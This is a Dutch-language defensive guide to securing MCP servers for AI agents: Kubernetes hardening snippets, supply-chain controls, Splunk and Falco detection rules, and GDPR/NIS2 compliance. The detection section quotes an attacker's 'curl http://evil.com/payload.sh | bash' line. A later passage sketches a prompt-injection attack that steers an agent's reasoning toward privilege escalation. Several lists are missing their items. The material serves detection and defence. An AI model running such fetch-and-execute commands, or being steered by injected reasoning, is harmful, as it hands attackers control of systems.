Hardware Security Module (HSM) integratie: MCP-servers beheren vaak secrets (OAuth client secrets, API keys). Die kun je beschermen door ze nooit in plaintext in geheugen of disk te hebben, maar door een HSM/KMS te gebruiken. Bijvoorbeeld: een MCP server die een token wil signen of decrypten, roept een cloud KMS API aan en krijgt het resultaat, zonder dat de key ooit in container is. Azure, AWS bieden dit, of on-prem HSM apparaat. Voor overheid zeer aantrekkelijk ivm. sleutelsoevereiniteit. In runtime aspect: al compromise van server geeft attacker niet de sleutel; hij kan hoogstens calls doen zolang hij draait (en KMS kan rate-limit of ongebruikelijke usage detecteren).

Confidential Computing (TEE – SGX, SEV): Dit is cutting-edge: een MCP-server in een Trusted Execution Environment laten draaien zodat zelfs de cloudprovider of OS niet in de geheugeninhoud kan kijken. Intel SGX en AMD SEV zijn voorbeelden. Een scenario: een zeer gevoelige MCP (bv. eentje die medische data verwerkt) draait in een SGX enclave op Azure Confidential Computing. Dit maakt het voor een aanvaller die OS root wordt (bv. via een cloud exploit) toch heel lastig om de enclaved code en data te stelen. Het beschermt ook tegen cloud admins.

Het toepassen van zulke geavanceerde isolatie is een kosten/baten afweging. Overheid Shared Services met zeer vertrouwelijke data zouden pionieren met confidential computing om burgerdata te beschermen, terwijl een startup wellicht genoeg heeft aan containers. De trend gaat wel die richting op: defense-in-depth op infrastructuurniveau. Als aanvaller door app laag breekt, vangt container; als container breekt, vangt hypervisor (microVM); als hypervisor faalt, heb je nog encryption (TEE). Dit meerlagige model maakt de waarschijnlijkheid dat een enkele kwetsbaarheid tot volledige compromise leidt astronomisch klein – ideaal voor hoog-risico omgevingen.

Concrete configuratievoorbeelden

Hier twee concrete snippet voorbeelden als referentie voor implementatie:

apiVersion: networking.k8s.io/v1kind: NetworkPolicymetadata:  name: mcp-egress-allowlist  namespace: defaultspec:  podSelector:    matchLabels:      app: mcp-server  policyTypes: [“Egress”]  egress:    – to:        – namespaceSelector: {}  # bv. interne namespace        – ipBlock:            cidr: 10.20.0.0/16    # voorbeeld IP-range van bekende API      ports:        – protocol: TCP          port: 443

Toelichting: Deze policy zorgt dat pods met label app=mcp-server alleen uitgaand verkeer mogen hebben naar IPs in 10.20.0.0/16 (stel dat is intern of trusted) en naar alles binnen cluster (namespaceSelector {}). Overig egress is verboden. Dit dwingt je wel om correcte IPs/domeinen in te vullen. In productie kun je voor elk extern API dat de MCP server moet contacteren een ipBlock of FQDN via egress-gateway instellen.

apiVersion: apps/v1kind: Deploymentmetadata: { name: mcp-server }spec:  template:    metadata:      labels: { app: mcp-server }    spec:      containers:      – name: server        image: myrepo/mcpserver:2.0        securityContext:          runAsNonRoot: true          runAsUser: 1000          allowPrivilegeEscalation: false          readOnlyRootFilesystem: true          capabilities:            drop: [“ALL”]

Toelichting: Dit komt overeen met de besproken hardening: user 1000 wordt gebruikt, het proces mag z’n privileges niet verhogen, het root filesystem is niet beschrijfbaar, en er zijn geen Linux capabilities toegekend (dus zelfs als de container proces root inside was, kan hij weinig op host door gebrek aan capabilities). Deze instellingen zijn conform de “restricted” PodSecurityPolicy standaard[95][96] en worden door tools als Kubesec hoog gewaardeerd.

Door dergelijke concrete configs op te nemen in de CI/CD (bijv. in helm charts of manifests) verzekert men dat elke MCP deployment automatisch de juiste beveiligingssettings heeft. In audits en attestaties kan men dit tonen als bewijs van “security by default”.

Supply Chain Security & SBOM veilige softwareketen voor MCP

MCP-software is vaak open-source en bestaat uit een keten van afhankelijkheden (node packages, pip libs, docker images). Een compromis in de supply chain (foute update, dependency met malware, typosquat) kan desastreus zijn. Hier bespreken we hoe een Software Bill of Materials (SBOM) en continue scanning helpen, evenals maatregelen om trust in code en containers te vergroten (image signing, SLSA compliance, typosquatting protectie).

Uitgebreide supply chain beveiliging

Continue scanning & CI-integratie: Automatiseer vulnerability scanning in de CI/CD pijplijn:

Image signing & provenance (Sigstore, Cosign): Handhaaf dat alle container images cryptografisch getekend zijn (door de CI of developer) en verifieer die voor ze gerund worden. Cosign (Sigstore) maakt dit makkelijk: na build cosign sign –key $PRIVATE_KEY image:tag, en in cluster een admission controller (bijv. OPA Gatekeeper of Kyverno) die checkt cosign verify met de public key. Dit zorgt dat alleen beelden die van jullie officiële pipeline komen draaien. Hierdoor voorkom je dat een aanvaller stiekem een image vervangt of iemand per ongeluk “mcp-server:latest” van Docker Hub draait die gekaapt is.

SLSA compliance assessment: Doe een gap-analyse waar je staat op de SLSA ladder:

Mechanismen: gebruik een afhankelijkheden firewall. Bijvoorbeeld, Artifactory of Nexus repository manager waarin je whitelisted pakketten en versies. Nieuwe externe afhankelijkheid? Vereist manual approval. Dit voorkomt dat een dev achteloos een foute lib binnenhaalt.

Kortom, zorg dat alle elementen in de MCP softwareketen inzichtelijk en gecontroleerd zijn. Beknibbel hier niet op tooling de kosten van een misser (supply-chain breach) zijn gigantisch, en tegenwoordig is tooling als SBOM generation en signing goed te automatiseren.

Manifest security & governance

Naast code moeten ook deployment manifesten, configuraties en tool registries beveiligd en beheerst worden om supply chain integriteit te garanderen:

Cryptografische signing van tool manifesten: Als je een MCP tools catalogus hebt (bijvoorbeeld Docker’s MCP Catalog, of intern een lijst van goedgekeurde MCP servers), sign deze lijsten. Zodat een aanvaller niet onopgemerkt stiekem een malafide tool kan toevoegen. Dit kan met een simpel PGP signen van een JSON of een merkle-tree (in blockchain-stijl). Main point: iedereen moet kunnen valideren dat de tooling lijst/authenticiteit nog klopt.

Policy as Code voor supply chain governance: Implementeer regeltjes via OPA/Gatekeeper of Kyverno die supply chain best practices afdwingen:

Incident response voor dependency issues: Ontwikkel een procedure voor het geval een dependency later als malicious of kwetsbaar wordt ontdekt:

Al met al vergt supply chain security voor MCP dezelfde discipline als voor traditionele software, maar met extra urgentie omdat AI-omgevingen nieuwe aantrekkingskracht voor aanvallers zijn. Een goed beveiligde supply chain geeft trouwens ook een audit trail: je kunt bij elk AI-resultaat later aantonen met welke versies van tools en code dat tot stand kwam, wat onder AI Act waarschijnlijk vereist zal worden (traceerbaarheid van AI besluiten). Dus het loont dubbel.

Netwerk Security: geavanceerde controles en gedragsanalyse

MCP introduceert dynamisch netwerkverkeer tussen AI-agents en allerlei bronnen. Dit verkeer moet streng beveiligd en gemonitord worden om dataverlies, C2-communicatie en misbruik te detecteren. Hier bespreken we geavanceerde netwerkcontrols (egress analyse, DNS security, TLS inspectie, service mesh) en gedragsanalyse (baselining, anomaly detectie, DLP).

Geavanceerde netwerkcontrols

DNS security & monitoring: MCP-servers kunnen DNS gebruiken om endpoints te resoven. Aanvallers kunnen DNS tunneling misbruiken of gebruikmaken van het feit dat DNS vaak minder gemonitord is om data te lekken (door data in subdomain te zetten). Implementatie:

DNS filtering: Overweeg een DNS firewall (zoals op Pi-hole concept of Cloudflare Gateway) waarin bekende malafide domeinen geblokkeerd worden. Als een compromised MCP probeert naar malware.evil.com te resolven, wordt dat geweigerd en gelogd.

TLS inspectie (en pinning strategie): Veel MCP-verkeer is TLS versleuteld (bv. AI tool naar cloud API). Dit is goed, maar hindert wel monitoring. Organisaties kunnen overwegen TLS interceptie op uitgaand verkeer toe te passen via een proxy/SSL middlebox, om te kunnen zien wat er verstuurd wordt (voor DLP bijv.). Echter, dit is complex:

Service Mesh integratie (Istio/Linkerd): Een service mesh kan zero-trust networking binnen cluster faciliteren:

Samengevat, een combinatie van traditionele netwerkaanpak (filtering, logging) en moderne Zero Trust (mesh) is wenselijk. Kleinere organisaties kiezen eerder de simpele egress filtering + cloud firewall route; grotere kunnen meshes uitrollen.

Gedragsanalyse & monitoring

Naast statische regels is gedragsgebaseerde detectie essentieel omdat AI-workloads onvoorspelbaar kunnen zijn en signature-based detectie tekort schiet voor nieuwe aanvallen:

Anomaliedetectie via ML: Er komen producten en open source oplossingen die specifiek AI workflow anomaliën leren. Bijvoorbeeld een ML model dat sequences van toolgebruik analyseert (met GNN of LSTM) en leert wat typische sequenties zijn. Een prompt injection of hack kan een geheel nieuwe sequence genereren (bv. opeens sendEmail tool 20x achter elkaar, wat nooit eerder voorkwam). Een GNN zou dat als afwijkend kunnen scoren. Red Canary en anderen publiceren research in dit domein[99].

DLP integratie: Data Loss Prevention systemen monitoren bijvoorbeeld of gevoelige data (persoonsgegevens, creditcards, BSNs) uitgaand gaan. Men kan DLP hooking in MCP-traffic doen:

Belangrijk is wel om false positives te minimaliseren en meldingen actionabel te houden. Een geleidelijke aanpak is slim eerst inzicht (dashboards met deze metrics), dan alerts op zeer duidelijke afwijkingen, dan finetunen.

Slot netwerk: In een Zero Trust benadering is het motto: “log alles, trust nothing zonder verificatie, en kijk continu over de schouder mee voor iets ongebruikelijks.” Netwerkbeveiliging voor MCP moet dit reflecteren door streng toe te laten en scherp te observeren. Dit vereist initieel investering (in tooling, egress infra, ML models), maar de payoff is dat je die verborgen aanvalssignalen, die in traditioneel verkeer zouden ondergaan, hier eruit vist en tijdig kunt ingrijpen.

Observability & Incident Response: logging, detectie, respons

Observability by design is cruciaal: je moet weten wat AI en MCP’s uitspoken om incidenten te kunnen detecteren en onderzoeken. In deze sectie bespreken we logging architectuur (gestructureerd loggen, SIEM integratie, audits, performance), detectie engineering (hunting queries, geautomatiseerde respons) en geven we enkele voorbeeld detectieregels specifiek voor MCP-activiteit.

Logging architectuur en monitoring

Gestructureerd logging & tracing: Implementeer uniforme, gestructureerde logs voor alle MCP-interacties. Elke request, antwoord, fout moet een JSON log entry krijgen met velden als timestamp, user, session, tool, action, result, response_time, status. Dit maakt analyse een stuk makkelijker dan ongeformatteerde tekst. Gebruik waar mogelijk OpenTelemetry tracing voor MCP-calls: instrumenteer AI agent en MCP server code zodat elke call een trace-id heeft die in logs van zowel client als server terugkomt[28]. Zo kun je een heel verloop van prompt -> tool -> reactie reconstrueren. Distributed tracing is vooral nuttig als je een keten van microservices hebt in een agent workflow.

SIEM integratie (Splunk/ELK/Sentinel): Stuur alle relevante logs naar een centraal SIEM. Definieer parsing rules/dashboards voor MCP-activiteiten. Bijvoorbeeld:

Audit vereisten & compliance logs: Zeker voor overheid en kritieke sectoren moeten volledige audit trails bijgehouden worden: wie heeft welke data opgevraagd via AI, wat is er gewijzigd? Dit kan overlappen met standaard logs maar let op compliance: AVG geeft betrokkenen recht te weten hoe hun data gebruikt is – kun je, als iemand vraagt “heeft AI mijn dossier gezien?”, dat achterhalen? Zorg dat je ID’s logt en data categoriseert.

Performance monitoring (SLIs/SLOs): Houd ook performance metrics bij: uptime MCP servers, latency van calls, succesratio. Dit is op securityvlak nuttig omdat afwijkingen soms incidenten kunnen verraden (bv. als latency ineens sky high is, misschien DDoS of infinite loop). Maar ook gewoon voor betrouwbaarheid – AI integratie is alleen bruikbaar als het snel en stabiel werkt.

Samen zorgt dit ervoor dat je een glasplaat hebt over je AI infra – je ziet wat er gebeurt (observability), je voldoet aan verantwoordingseisen (auditing), en je hebt data om op te reageren (monitoring).

Detectie engineering & threat hunting

Met goede logs kun je nu detectie regels en hunting queries ontwikkelen specifiek gericht op MCP dreigingen:

Gedragsanalytics (ML-models voor afwijkingen): Dit overlapt met eerder anomaly detectie, maar toe te voegen: je kunt de logs voeden aan een ML engine om complexere patronen te spotten. Bijvoorbeeld een graph neural network die gebruikers, tools en acties als grafelementen ziet en afwijkende patronen (zoals een nieuwe verbinding tussen user en tool nooit eerder gezien) markeert. Of een clustering van gebruikerspatronen en dan 1 user valt eruit (misschien account takeover via AI).

Threat hunting use-cases: Security analisten kunnen proactief zoeken naar sporen van misbruik die niet triggered zijn:

Geautomatiseerd respons (SOAR): Bij kritieke detecties moet je snel kunnen handelen:

Kort gezegd: detect & respond voor MCP moet net zo volwassen worden als voor klassieke IT, maar met aandacht voor AI-eigenaardigheden. Veel SOCs hebben nog geen ervaring met “AI prompt” als aanvalsvector, dus training en spelen met scenario’s (table-top exercities) is aan te raden zodat men weet wat te doen als een alarm afgaat dat “MCP suspicious egress” toont.

Specifieke detectieregels (Splunk, Falco)

Ter illustratie enkele detectieregels die direct inzetbaar zijn:

Zoek in Windows event logs naar proces-creatie (4688) waar parent een mcp-remote proces is en het child een opvallend proces zoals PowerShell met encoded command:

index=win* EventCode=4688ParentImage=”mcp-remote.exe”(Image=”*powershell.exe” OR CommandLine=”EncodedCommand”)| stats count by Computer, User, Image, CommandLine, _time

Uitleg: Dit detecteert wanneer een proces genaamd mcp-remote (of soortgelijk) een PowerShell start. Dat is exact wat bij CVE-2025-6514 exploit gebeurde (mcp-remote -> powershell met encoded command)[13][100]. Dit zou zeer weinig false positives moeten hebben; niet normaal dat die combinatie voorkomt. De stats geeft context van waar en wanneer, voor analist.

index=kube* container_image=”mcp”(“curl” OR “wget”) (“http://” OR “https://”)NOT (“api.github.com” OR “login.microsoftonline.com”)| stats values(container_name) values(dest_ip) by url, _time

Uitleg: Dit kijkt in container logs of commands als curl/wget uitgevoerd worden naar URLs, en filtert bekende legitieme (hier bijv. GitHub API, MS login). Als een attacker inside container curl http://evil.com/payload.sh | bash doet, vang je dat. Het is niet waterdicht (attacker kan andere tool gebruiken), maar het is een start. Je zou ook vanuit firewall logs kunnen triggeren: container maakt connect naar onbekende IP -> query container logs voor URL patterns.

– rule: Verdachte uitgaande verbinding van MCP container  desc: Detecteer uitgaande verbindingen van MCP pods naar niet-gewhitelistede bestemmingen  condition: outbound and container and k8s.pod.label.app=”mcp-server”            and not outbound.address in (10.0.0.0/8, 192.168.0.0/16, …)  output: “MCP pod %container.name doet egress naar %fd.rip:%fd.rport”  priority: WARNING

Uitleg: Falco draait op node en ziet socket uitgaand (outbound), checkt dat proces in container met label app=mcp-server, en dat het remote IP niet in vertrouwde range lijst staat (die lijst moet je invullen, bijv. interne en bekende externen). Als dit triggert, is dat potentieel malicious egress. Falco kan dat realtime loggen of zelfs een script triggeren (bijv. om networkpolicy nog strenger te maken).

Deze voorbeelden tonen hoe we de kennis van het aanvalspad kunnen omzetten in detectieregels. Belangrijk is ze te testen op noise en actualiteit. Wellicht dat voor Linux wat aanpassing nodig is (monitoring van processen binnen container kan ook via Falco: b.v. detecteer als container proces een shell spawnt generiek nuttig).

Door een bibliotheek van zulke regels uit te bouwen en up-to-date te houden (in samenwerking met threat intel als er nieuwe MCP exploits komen, direct rules maken), ontwikkel je een maatwerk detectiecapability specifiek voor AI threats, wat een flinke voorsprong geeft op aanvallers.

Privacy & Data Protectie: gegevensstromen en compliance borging

MCP treedt op als datamakelaar tussen AI en allerlei gegevensbronnen. Dit roept forse vragen op rond privacy, data bescherming en naleving van Europese normen (AVG/GDPR, NIS2, eIDAS, etc). In deze sectie bekijken we dataflow mapping (waar gaan persoonsgegevens?), privacy-enhancing tech, en specifieke Nederlandse compliance vereisten.

Dataflow mapping & PII-beheer

Eerst moet inzichtelijk zijn welke data via MCP stroomt en hoe die beschermd wordt: – PII-identificatie en tagging: Implementeer tooling die automatisch herkent als MCP-verkeer persoonsgegevens bevat. Bijvoorbeeld, als een MCP-server content uit een database haalt, laat dan kolommen als Name, Email, BSN taggen. Dit kan via data classification tools of door in de API respons mee te geven “gevoeligheid: high”. – Ook kan de AI output realtime gescand op PII (zoals DLP eerder). Belangrijk is niet alleen detectie maar ook loggen: “deze tool output bevatte PII van type X”. – Context-analyse: Hou bij waarom die data gebruikt wordt. Dit is lastig automatisch, maar men zou in logging een veld “purpose” kunnen bijhouden. Zo kun je achteraf verantwoorden dat data voor legitiem doel is gebruikt (AVG vereist doelbinding). Mogelijk zelfs users vooraf laten aangeven “gebruik mijn data alleen voor X”. – Gegevensstromen visueel maken: Een data flow diagram van MCP in de organisatie is nuttig: AI client (verwerker) -> MCP server -> databron (verwerkingsverantwoordelijke?), terug etc. Bepaal per stap de rol (controller/processor) in AVG-term. AI vendor bijv. kan sub-processor zijn. Dit moet je juridisch kloppend hebben met verwerkersovereenkomsten. Een DFD helpt die conversaties te voeren.

Grensoverschrijdende analyse (data residency): Check waar data langs gaat:

Dataretentie beleid: MCP’s slaan vaak tokens, config en caches. Stel een retentiebeleid op:

Consent management integratie: Stel een AI agent kan data uit bv. een HR-systeem halen. Medewerkers moeten daar wrs toestemming voor geven, of op zn minst geïnformeerd zijn. Integratie met een Consent Management Platform (CMP) kan betekenen: gebruiker ziet in de AI interface een knop “Connect je Gmail -> [ ] Ik geef toestemming dat AI mijn mails leest en handelt in kader van X tot Y datum.” Die toestemming moet gelogd en herroepbaar zijn. Bij intrekken moet de MCP token ingetrokken en data eventueel gewist.

Het doel van deze mapping is dat data niet ongecontroleerd door AI “zwart gat” gaat, maar dat er governance op zit net als op normale data-uitwisseling. Tools als Collibra (data governance) of OneTrust (consent) kunnen hier nuttig zijn.

Privacy-Enhancing Technologies (PET) in AI context

Om privacy te beschermen zonder functionaliteit op te offeren, kan men naar PETs (Privacy Enhancing Tech) grijpen:

Differential Privacy (DP): Dit voegt ruis toe aan output zodat individuele gegevens niet herleidbaar zijn maar statistische inzichten blijven. In AI zou je bij logging of analytics van AI-interacties DP kunnen toepassen: bijv. als je gebruiksstatistieken wilt delen, tel dan interacties met epsilon privacy zodat je niet zeker weet dat persoon X dat deed.

Homomorphic Encryption (HE): Dit laat toe om berekeningen op versleutelde data uit te voeren. In AI context is dit zoiets als: versleutel data, laat LLM bewerkingen doen zonder decryptie, en krijg versleuteld resultaat dat je lokaal weer decrypt. Klinkt ideaal (LLM ziet nooit raw data), maar is nog niet praktisch voor complex AI berekeningen – huidige HE is traag en beperkt (voornamelijk goed voor vaste algoritmes, niet generative AI).

Secure Multi-Party Computation (SMPC): Hierbij verdelen meerdere partijen hun data zodanig dat ze gezamenlijk een berekening doen zonder elkaar’s input in te zien. Voor AI kan dit gebruikt worden voor federated learning of inference: bijvoorbeeld 2 organisaties willen samenwerken dat hun AI’s elkaars data deels gebruiken zonder onthulling. SMPC protocollen (bv. Yao’s garbled circuits of secret sharing) kunnen een model trainen op gecombineerde data zonder raw data te delen.

Hoewel PET’s nog experimenteel lijken, zullen ze in de EU AI Act context veel aandacht krijgen, want die act stimuleert inzet van PET’s om compliance en innovaties samen te brengen. Nederlandse overheid zou proactief PET pilots kunnen doen (zoals BZK’s eerder proeven deed met Attribute Based Credentials etc). In elk geval moet het security team PET ontwikkelingen volgen, want wat nu academisch is kan over paar jaar best practice zijn voor AI data bescherming.

Nederlandse compliance specifiek: AVG, NIS2, NCSC-richtlijnen

Tot slot enkele punten specifiek voor Nederlandse context en regelgeving:

NCSC-NL richtlijnen & handreikingen: NCSC biedt diverse guides (ICT baseline overheid, cloud security, logbestanden handleiding, etc).

In essentie: Zorg dat MCP en AI integraties niet in een vacuum gebeuren maar ingebed zijn in bestaande compliance structuren. Laat auditors en security officers meekijken bij ontwerp en operatie het is nieuw terrein dus werk samen om best practices te vormen. Dat voorkomt boetes en verhoogt vertrouwen van publieke in AI innovaties van de overheid en bedrijven.

Bovenstaande sectie heeft veel concrete details en aanbevelingen gegeven. Hiermee kunnen technische teams direct aan de slag om hun MCP deployments te versterken, terwijl de organisatie voldoet aan relevante normen en voorbereid is op incidenten.

Deel 3: Geavanceerde dreigingsscenario’s, toekomstverkenning en strategie

Tot slot kijken we vooruit naar opkomende dreigingen, evoluerende regelgeving en technologische trends. Deze foresight helpt organisaties om niet alleen huidige risico’s te managen, maar ook future-proof te worden. We bespreken nation-state APT scenario’s, nieuwe aanvalsvectoren, specifiek Nederlandse risico’s, de ontwikkeling van compliance-eisen, cloud-architectuur evolutie, cutting-edge onderzoek en lange-termijn strategische principes.

Geavanceerde dreigingsscenario’s (APT’s en emerging threats)

Nation-state APT dreigingen

Staatsgesponsorde hackers (met name uit Rusland, China) richten zich traditioneel op strategische doelen: overheid, kritieke infrastructuur, high-tech bedrijven. MCP en AI-infrastructuur zullen in hun vizier komen als middel om toegang en invloed te krijgen:

Kortom: Nation-state hackers zullen AI/MCP benutten op manieren die we nu pas net ontwaren. Organisaties in kritieke sectoren moeten nu al scenario’s bedenken en oefenen: – Threat modelling inclusief “Attacker gebruikt onze eigen AI tegen ons”. – Intelligentie delen via gov/ISAC over waargenomen verdachte AI-activiteiten. – Bij inkoop van AI-software kijken naar supply chain (liever EU-leveranciers i.p.v. mogelijk door tegenstanders beïnvloedde tools). – Potentieel zelfs AI uit bepaalde hoog-risicolanden weren (vergelijk discussie Kaspersky in overheid). Bijvoorbeeld, is het verstandig Chinese LLMs of plugins te gebruiken in Nederlandse overheidscontext? Dat vraagt risk assessment (FISA in VS vs Chinese Cybersecurity law beide relevant).

Opkomende aanvalsvectoren

Naast APT’s zijn er nieuwe, meer conceptuele aanvalsvectoren aan de horizon:

Reasoning chain manipulatie (cognitive attacks): In advanced prompt injection manipuleert de aanvaller niet alleen de instructies, maar de denkstappen van de AI. Ze kunnen proberen de chain-of-thought die het model intern vormt om te leiden (met eerder geteste triggers). Voorbeeld: een attacker geeft een AI-agent een payload dat ervoor zorgt dat het agent denkt “ik moet nu escaleren privileges” terwijl de prompt dat niet expliciet vraagt. Dit is een soort “metaprompt” hack, waarbij de aanval gericht is op de cognitieve logica van de agent. Omdat MCP van output naar actie gaat, kan het model dat pad misbruiken. We staan hiermee aan begin, maar research (“Stealing the Prompt via Chain hijacking” etc) bestaat al.

Federatieve netwerken & trust boundaries: Als organisaties hun AI’s laten samenwerken (federated MCP networks), ontstaat een federated trust model. Bijvoorbeeld, gemeente A deelt bepaalde AI-tools met gemeente B in een federatie. Dan is A afhankelijk van B’s security. Een aanval via B’s zwak beveiligde AI kan A compromitteren.

Quantum resistance & cryptografie: Binnen ~10 jaar komen quantumcomputers mogelijk die asymmetrische cryptografie kunnen breken. Dat raakt uiteraard alle TLS, JWT, code signing – de hele basis van vertrouwens in MCP.

Side-channel analyse aanvallen: Niet nieuw, maar mogelijk in AI context: timing-aanvallen, memory scraping e.d.

Nieuwe vectoren evolueren constant. Beste verdediging is een proactieve mindset: volg academisch onderzoek, doe interne red-team van AI (zet eigen mensen of externe in om creatief AI te hacken). Dat wat vandaag theoretisch is, kan morgen praktijk zijn. Een organisatie die de luxe heeft een Innovatie, Data of AI lab of afdeling te hebben, moet zeker focus op AI security research zetten, zodat ze voorop blijven.

Nederlandse specifieke dreigingen

Nederland heeft unieke dreigingsbeelden door haar geopolitieke positie en hoog digitale afhankelijkheid:

Geopolitieke risico’s: AIVD en MIVD rapporteren dat statelijke actoren, met name uit Rusland en China, actief zijn tegen Nederlandse belangen (diefstal bedrijfsgeheimen, politieke beïnvloeding). De introductie van AI-systemen geeft hen nieuwe kansen:

Risico’s voor kritieke sectoren NL:

EU digitale soevereiniteit (Gaia-X, EU Cloud): Europa (met NL als actieve deelnemer) streeft naar soevereine cloud en AI oplossingen, minder afhankelijk van VS/China. Dit betekent:

Resumerend voor NL de dreiging is reëel en complex, maar NL heeft ook sterke punten (expertise, internationaal netwerk, high awareness). We moeten die benutten publiek-private samenwerking (bijv. Dutch AI Coalition + NCSC op security), kennisdeling, en ambitie tonen door zelf de veiligste AI systemen ter wereld te willen bouwen. Dat is niet alleen defensief, maar kan ook een exportproduct zijn (veiligheid als selling point).

Regulatory & compliance evolutie

Nu we dreigingen hebben behandeld, richten we op hoe de regelgeving zich ontwikkelt en hoe organisaties hierop kunnen voorsorteren. De EU is zeer actief met nieuwe wetgeving (AI Act, NIS2), maar ook sectorale regels blijven bewegen. Compliance zal meer real-time toezicht vereisen, en verantwoordelijkheid (aansprakelijkheid) rond AI zal moeten worden ingekaderd.

Toekomstig regelgevingslandschap (komende 3-5 jaar)

Conformiteitsbeoordeling: High-risk AI moet voor marktintroductie getest/gecertificeerd. Dit kan inhouden penetratietests, dataset audits, bias checks. Orgs die eigen AI bouwen moeten dus compliance assessment pipeline opzetten (vergelijk CE markering, maar dan voor AI). Dat is een hele nieuwe discipline.

Als jouw organisatie in zo’n sector is, moet je zowel algemene AI Act als specifieke regelset naleven. Dit kan tot overlappingen of zelfs tegenstrijdigheden leiden – vroegtijdig in dialoog met toezichthouder kan helpen interpretaties afstemmen.

Grensoverschrijdende compliance conflicten: Multi-cloud en multi-geografie deployment stuit op verschillende regimes:

Aansprakelijkheidskader & verzekering: Wie is aansprakelijk als AI schade berokkent? Dit is onderwerp van EU’s AI Liability Directive in de maak.

We kunnen zien dat compliance niet statisch is er komen meer eisen en het gaat toe naar “real-time compliance”, waarin je continu moet aantonen dat je binnen lijntjes loopt (bv. automatische audit rapportage). Dit brengt ons bij volgende onderdeel.

Compliance automatisering

Om te kunnen voldoen aan al die evoluerende verplichtingen zonder dat het bedrijf verstikt in audits, is automatisering en integratie van compliance in tech processen noodzakelijk:

Policy as Code voor compliance: We noemden al policy as code voor security, maar ook compliance regels kunnen gecodeerd:

Real-time monitoring van compliance status: Stel KPIs op voor compliance:

Regulatory reporting automation: NIS2 verplicht binnen 24 uur melding dat red je alleen met deels geautomatiseerd voorbereide rapport:

Dit alles vergt investeringen in tools en procesverandering, maar payoff is minder boetes en efficiëntere compliance. Ook geeft het management gemoedsrust dat men controle houdt over AI, wat goed is want angst voor oncontroleerbare AI is hoog bij publiek en bestuurders.

Cloud architectuur evolutie & security

AI en MCP leven in cloudomgevingen die zelf evolueren. Multi-cloud, edge computing, confidential tech, quantum cloud alle nieuwe trends hebben invloed op hoe we AI veilig deployen. Ook security tooling evolueert mee. Hier schetsen we enkele ontwikkelingen:

Multi-cloud en hybride omgevingen

Soevereiniteitsoplossingen in federatieve omgevingen: Zoals besproken, Europa wil soevereine cloud (Gaia-X, European Cloud Federation). Dit leidt tot federatie tussen clouds van verschillende landen/providers.

Edge integratie (Edge/Fog computing): Veel AI zal richting de edge gaan vanwege latency en privacy (denk aan fabrieksterrein AI nodes). Een edge MCP server kan direct bij sensoren staan en relevante data lokaal houden.

Confidential computing adoptie: We noemden enclaves al. Grote cloud aanbieders bieden nu Confidential VMs (Azure, GCP) en enclaves (SGX, AMD SEV). De adoptie zal toenemen naarmate enterprise meer vertrouwelijke data in cloud wil behandelen.

Quantum cloud services: IBM en andere bieden nu al quantum computing as service (voor special taken). In de toekomst kan quantum gebruikt worden in AI (bv. quantum ML algos).

Next-generation security tooling

ZTNA evolutie voor AI/MCP: Zero Trust Network Access betekent dat elk toegangverzoek individueel geauthZ is, geen impliciete trust binnen net. Dit concept zal zich uitvouwen naar Zero Trust for AI Agents: elk tool invocation is gecheckt, elke data access moet contextually allowed zijn.

Cloud-native security tool evolutie: Tools als Falco, OPA, Kubewarden breiden zich uit:

Observability integratie: Traces en metrics out of box, wat we al benutten voor detectie.

De kern de security toolbox blijft verbeteren, en integratie en automation worden sleutel. Organisaties moeten modular denken bouw je AI infra zo dat je makkelijk nieuwe sec tools kan inschuiven (loosely coupled, APIs). Wie flexibel is, kan sneller op nieuwe dreigingen antwoorden door gewoon nieuwe tool in cluster te gooien of policy updaten, in plaats van architectuur te herzien.

Bleeding-edge onderzoek & innovaties

Dit deel verkent spul dat nu nog in labs zit maar baanbrekend kan zijn voor AI security:

Cryptografische toepassingen

Zero-Knowledge Proofs (ZKP): Hiermee kan je bewijzen dat iets waar is zonder het geheim zelf te onthullen. Toepassing in authenticatie/autor: een AI agent kan via ZKP bewijzen dat hij een geldige token bezit voor resource, zonder token zelf te tonen (voorkomt diefstal). Of een user bewijst eigenschappen (“ouder dan 18”) aan AI zonder identiteit prijs te geven (handig bij AI content filtering?).

Secure Multi-Party Computation: Eerder aangestipt, maar continuing: denk aan collaborative AI waar data van meerdere bronnen samenkomt zonder data share. Bijvoorbeeld banken die gezamenlijk fraudemodel trainen via MPC. Dit gebeurt al in pilot.

Blockchain integratie (immutable audit trails, decentralized governance): Blockchain/distributed ledger kan zorgen dat AI acties onveranderbaar gelogd worden (immmutable audit trail). Bijv. elke MCP toolcall wordt in een ledger gehash’t zodat achteraf gerommel zichtbaar is.

Homomorphic encryption (berekening op versleutelde MCP payloads): We noemden de beperkingen. Er is wel gaande dat simpele AI tasks (lineaire modellen) wel homomorph kunnen. Generative AI is ver weg.

Deze cryptotechnieken zijn hoopgevend om het fundamentele conflict tussen gebruiksgemak AI vs data privacy op te lossen. Blijf de literatuur volgen en doe POCs waar mogelijk, zo ben je er klaar voor als ze rijp worden.

Novel detectie & respons technieken

Graph Neural Networks voor threat detectie: GNNs kunnen relaties tussen entiteiten modelleren (devices, users, processes) en zo context meenemen waar traditionele ML flat features had. In security zagen we al inzet voor insider threat detection en malware classification.

Geautomatiseerd red teaming (AI-gedreven pentesting): Ironisch maar passend: inzet AI om je AI te testen.

Chaos engineering voor AI/MCP resilience: Chaos engineering is gecontroleerd falen injecteren om te testen of systeem robuust is. Voor MCP security kun je:

Digital Twins voor security testen: Digital Twin is een high-fidelity simulatie van systeem. Als je een complete digitale kopie van je AI+MCP stack kan draaien (met gesimuleerde users, data), kan je daarop eindeloos experimenteren zonder productie te raken.

Als een organisatie resourceful is, dit zijn dingen om aan te pakken in een 1-3 jaar horizon. De waarde is enorm, want het geeft voorsprong in detectie en mitigatie.

Strategische vooruitzicht (10 jaar vooruit en organisatie/economie)

We wagen ons aan een blik in de toekomst (5-10+ jaar) om te zien welke trends nu ingezet zijn die dan bepalend zijn, zodat strategen nu de koers kunnen uitzetten.

Technologie evolutie (10+ jaar)

Post-HTTPS protocollen: Tegen 2035 zijn er mogelijk compleet nieuwe protocollen voor communicatie die inherente security bevatten. Denk aan Quantum Key Distribution networks voor geheime overdracht (al in tests). Of HTTP/4 waarin identiteit en integriteit by default zitten (een soort integratie van OAuth in transport).

Hardware security evolutie: Over 10 jaar hebben we wellicht speciale AI security chips – net zoals nu TPMs voor crypto. Bijvoorbeeld, AI accelerator with secure enclave onchip die ervoor zorgt dat model in hardware encrypted blijft. Nvidia of Google kunnen dat ontwikkelen onder druk van enterprise.

